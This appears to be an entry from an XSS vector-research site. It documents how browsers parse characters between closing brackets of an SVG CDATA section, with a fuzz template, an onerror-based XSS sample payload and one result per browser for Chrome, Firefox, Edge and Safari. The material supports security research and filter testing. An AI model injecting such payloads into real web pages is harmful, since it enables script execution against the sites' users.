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Characters in-between square brackets that close cdata

Chrome logo 1
Firefox logo 1
Edge logo 1
Safari logo 1

This vector shows which characters are allowed in-between right closing bracket in a CDATA section in SVG.

hackvertor
Created byhackvertor
Created Oct 8, 2024
Updated May 27, 2025

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CategoryCSS Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<svg><style>0D⟧
x = "<![CDATA[</style><img title="]$[chr]]></style></svg><img src onerror=log($[i])>">

Sample payloads

<svg><style>0D⟧
x = "<![CDATA[</style><img title="]]]></style></svg><img src onerror=alert(93)>">

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated25 Jan 2026
Found 1 result
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Chrome logo
Chrome 129.0.0.0 desktop macOS 10.15.7older version
Updated8 Oct 2024
Found 1 result
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Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 1 result
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Firefox logo
Firefox 131.0 desktop macOS 10.15older version
Updated8 Oct 2024
Found 1 result
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Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated31 Jan 2026
Found 1 result
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Safari logo
Safari 17.4 desktop macOS 10.15.7
Updated7 Nov 2024
Found 1 result
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